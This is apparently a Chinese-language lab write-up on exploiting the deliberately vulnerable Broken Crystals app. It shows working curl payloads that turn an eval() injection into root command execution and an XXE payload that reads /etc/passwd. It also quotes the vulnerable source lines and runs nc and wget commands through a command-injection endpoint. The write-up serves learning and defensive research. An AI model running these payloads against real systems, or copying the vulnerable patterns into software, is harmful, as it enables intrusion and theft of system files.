5 min read

Broken Crystals 實戰筆記 3:eval SSJI 拿 RCE,與讀得到檔卻打不動SSRF的XXE

Broken Crystals 實戰筆記 3:eval SSJI 拿 RCE,與讀得到檔卻打不動SSRF的XXE
同一份 dist/app.controller.js 除了已經打穿的 /api/spawn 命令注入,還躺著兩個標的:/api/process_numberseval()/api/metadata 的 XXE,這篇把這兩個補完,並誠實記錄 XXE 能讀檔卻打不出 SSRF 的原因——那段其實比「一打就成功」更有價值。

一、/api/process_numbers:eval SSJI → root RCE

白箱定位

源碼直接寫著把使用者輸入丟進 eval

const processNumbersExpression = typeof payload?.processing_expression === 'string'
    && payload.processing_expression.trim().length > 0
        ? payload.processing_expression
        : 'numbers.reduce((acc, num) => acc + num, 0)';
const result = eval(processNumbersExpression);   // 使用者控制的字串直接進 eval

processing_expression 全控,直接進 eval(),且 result 會被回傳。

先釐清:這是 SSJI,不是 SSTI

這裡容易混淆,先分清楚,差別在「輸入被丟進什麼引擎」:

  • SSTI(Server-Side Template Injection):輸入進了模板引擎(Handlebars、Jinja2、doT…),payload 是模板語法如 {{7*7}}<%= 7*7 %>
  • SSJI(Server-Side JavaScript Injection):輸入直接進 eval()Function(),payload 是原生 JS7*7

/api/process_numbers 是後者——輸入直接進 eval,中間沒有模板引擎,所以是 SSJI,(附帶一提,同一份 controller 的 /api/render 用 doT 引擎 dot.compile(text)(),那個才是 SSTI,兩者剛好可對照。)

驗證

先送純表達式,確認 eval 真的執行:

curl -s -X POST http://localhost:3000/api/process_numbers \
  -H "Content-Type: application/json" \
  -d '{"numbers":[1,2,3],"processing_expression":"7*7"}'
# 49

49(而非字串 "7*7")→ SSJI 確認。

爬升到 RCE

eval 跑的是 Node.js,不是 shell,所以要用 JS 語法呼叫 Node 內建模組執行系統命令,關鍵是 child_process,並選用同步且會回傳輸出execSync(端點會 return result,所以要同步、回傳值即命令輸出):

curl -s -X POST http://localhost:3000/api/process_numbers \
  -H "Content-Type: application/json" \
  -d '{"numbers":[1],"processing_expression":"require(\"child_process\").execSync(\"id\").toString()"}'
# uid=0(root) gid=0(root) groups=0(root),...

uid=0(root)——第二條獨立於 spawn 的 root RCE 路徑。

SSJI 比 spawn 更強的兩點

1. 經過 shell,可自由串接, spawn 那條卡在「不經 shell、; 串接會 ENOENT」,但 execSync 底層預設走 /bin/sh -c,元字元有效:

# id;whoami;hostname 三條都會執行(spawn 做不到)
... "processing_expression":"require(\"child_process\").execSync(\"id;whoami;hostname\").toString()"

2. 有整個 Node.js runtime 可用,不必經 shell, 例如純 JS 用 fs 模組直接讀檔:

... "processing_expression":"require(\"fs\").readFileSync(\"/etc/passwd\").toString()"

SSJI 的本質是:你拿到的不只是「執行命令」,而是「執行任意 Node.js 程式碼」,能力上界高於單純的命令注入。

二、/api/metadata:XXE 任意檔案讀取(SSRF 受限)

白箱定位

const xmlDoc = parseXml(decodeURIComponent(xml), {
    noent: true,      // 展開外部實體 —— XXE 的開關
    dtdvalid: true,
    recover: true
});
return xmlDoc.toString(true);   // 回傳解析結果 → 有回顯 XXE

noent: true 讓 libxmljs 展開 XML 外部實體,且結果回傳給使用者,屬有回顯(in-band)的 XXE。

驗證與讀檔

XXE payload 三塊結構:XML 宣告 + DOCTYPE 定義外部實體 + body 引用該實體,要點是元素名稱與實體名稱皆為自訂,只需前後一致(DOCTYPE 名對應根元素名、ENTITY 名對應 &名;):

curl -s -X POST http://localhost:3000/api/metadata \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "file:///etc/passwd"> ]><pwn>&leak;</pwn>'

回顯 /etc/passwd 內容於 <pwn> 中——XXE 任意檔案讀取成立,(這是本目標第三條讀檔路徑,與 /api/file 的 LFI、/api/spawn 的 RCE 讀相互印證。)

XXE-to-SSRF 嘗試:讀得到檔,卻打不動 SSRF

file:// 換成內網 URL,預期讓後端主動請求內部服務:

curl -s -X POST http://localhost:3000/api/metadata \
  -H "Content-Type: text/xml" \
  --data '<?xml version="1.0"?><!DOCTYPE pwn [ <!ENTITY leak SYSTEM "http://172.22.0.1:8000/xxe-ssrf-proof"> ]><pwn>&leak;</pwn>'
# <pwn/>   (空元素,本機 listener 沒收到任何請求)

<pwn/> 空元素,本機 HTTP listener 也沒有任何 callback,這需要排查——是網路不通,還是 XXE 不發 HTTP? 用已確認可靠的 spawn RCE 通道隔離變因:

# 1. 測容器到 listener 的連通性
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=nc -zv 172.22.0.1 8000"
# 172.22.0.1 (172.22.0.1:8000) open      ← 網路通

# 2. 用容器的 wget 主動打 listener
curl -s -G "http://localhost:3000/api/spawn" --data-urlencode "command=wget -O- http://172.22.0.1:8000/spawn-test"
# listener 收到:  172.22.0.7 - - "GET /spawn-test HTTP/1.1"   ← 容器確實能發 HTTP

結論釘死:網路 100% 通(spawn 的 wget 打得到 listener),但 XXE 就是不發 HTTP 請求。

為什麼能 file:// 卻不能 http://

外部實體的協定支援取決於底層 libxml2 的編譯選項

  • file://:讀本地檔案,基本支援,幾乎必成(所以讀 /etc/passwd 成功)。
  • http://:需要 libxml2 編譯時開啟 nanohttp 網路模組,精簡容器(如 Alpine base)常關掉或不完整,導致 http:// 外部實體不觸發網路請求,實體展開成空 → 回顯 <pwn/>

這是真實 XXE-SSRF 常見的「打不動」原因:XXE 讀檔成功,不代表 XXE-SSRF 一定成功,取決於解析器對 http:// 的支援。這台的 libxml2 沒有 nanohttp,所以 XXE-SSRF 不通。

攻擊鏈總結

白箱源碼審計 (dist/app.controller.js)
    ├─ /api/process_numbers  eval() SSJI
    │      ├─ 7*7 → 49                      (確認 SSJI,非 SSTI)
    │      ├─ child_process.execSync('id')  → root RCE
    │      └─ 經 shell,可串接 + 純 JS fs 讀檔  (能力上界高於 spawn)
    │
    └─ /api/metadata  XXE (noent:true)
           ├─ file:///etc/passwd            → 任意檔案讀取 ✅
           └─ http://internal               → SSRF ✗ (libxml2 無 nanohttp)

兩個收穫超過「成功利用」本身:一是 SSTI 與 SSJI 的分辨(輸入進模板引擎 vs 進 eval),二是「XXE 能讀檔 ≠ 能 SSRF」的解析器層面理解,以及用一條可靠的 RCE 通道去隔離變因、釘死「網路通但 XXE 不發 HTTP」的排查方法。

本文為授權範圍內的本機自建靶場測試紀錄,僅供防禦研究與教育用途。請勿將任何技術用於未授權目標。